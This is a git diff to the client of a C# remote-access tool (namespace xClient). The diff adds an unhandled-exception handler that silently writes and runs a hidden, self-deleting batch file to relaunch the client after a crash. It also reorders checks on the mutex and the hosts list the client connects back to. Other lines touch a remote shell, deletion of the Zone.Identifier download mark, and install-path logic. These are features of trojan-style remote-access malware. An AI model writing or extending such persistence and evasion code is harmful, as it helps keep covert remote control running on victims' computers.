diff --git a/Client/Core/Helper/FileHelper.cs b/Client/Core/Helper/FileHelper.cs index 24d1b9ba..0651e8ef 100644 --- a/Client/Core/Helper/FileHelper.cs +++ b/Client/Core/Helper/FileHelper.cs @@ -106,6 +106,29 @@ namespace xClient.Core.Helper } } + public static string CreateRestartBatch() + { + try + { + string batchFile = GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\n" + + "echo DONT CLOSE THIS WINDOW!" + "\n" + + "ping -n 10 localhost > nul" + "\n" + + "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "del " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, uninstallBatch); + + return batchFile; + } + catch (Exception) + { + return string.Empty; + } + } + public static bool ClearReadOnly(string filePath) { try diff --git a/Client/Program.cs b/Client/Program.cs index caf854f9..89a6343e 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -28,6 +28,7 @@ namespace xClient { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; Settings.Initialize(); Initialize(); @@ -37,6 +38,24 @@ namespace xClient Cleanup(); } + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + string batchFile = FileHelper.CreateRestartBatch(); + if (string.IsNullOrEmpty(batchFile)) return; + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + Environment.Exit(0); + } + } + private static void Cleanup() { CommandHandler.CloseShell(); @@ -115,23 +134,19 @@ namespace xClient private static void Initialize() { - if (!MutexHelper.CreateMutex(Settings.MUTEX)) - ClientData.Disconnect = true; // process with same mutex is already running + _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); + + // process with same mutex is already running + if (!MutexHelper.CreateMutex(Settings.MUTEX) || _hosts.IsEmpty) // no hosts to connect + ClientData.Disconnect = true; if (ClientData.Disconnect) return; AES.PreHashKey(Settings.PASSWORD); - _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); - - if (_hosts.IsEmpty) - ClientData.Disconnect = true; // no hosts to connect - - if (ClientData.Disconnect) - return; - + FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)